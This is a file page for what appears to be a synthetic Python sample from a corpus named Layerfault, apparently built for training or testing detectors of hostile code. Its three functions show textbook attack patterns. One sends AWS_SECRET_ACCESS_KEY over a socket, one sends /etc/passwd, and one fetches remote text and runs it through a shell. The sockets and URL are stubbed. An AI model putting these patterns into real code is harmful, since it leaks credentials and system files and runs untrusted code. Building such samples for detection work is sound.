izm1chael's picture
Publish Layerfault synthetic corpus LF-CORPUS-PY-0002
ecb0cf8 verified
Raw
History Blame
583 Bytes
import os, socket, subprocess, urllib.request
def credential_to_network():
secret = os.environ.get("AWS_SECRET_ACCESS_KEY")
s = socket.socket()
try:
s.send(secret.encode() if secret else b"")
finally:
s.close()
def file_to_network():
data = open("/etc/passwd", "r", encoding="utf-8").read()
s = socket.socket()
try:
s.send(data.encode())
finally:
s.close()
def network_to_exec():
data = urllib.request.urlopen("http://127.0.0.1:9", timeout=0.01).read().decode()
subprocess.run(data, shell=True, check=False)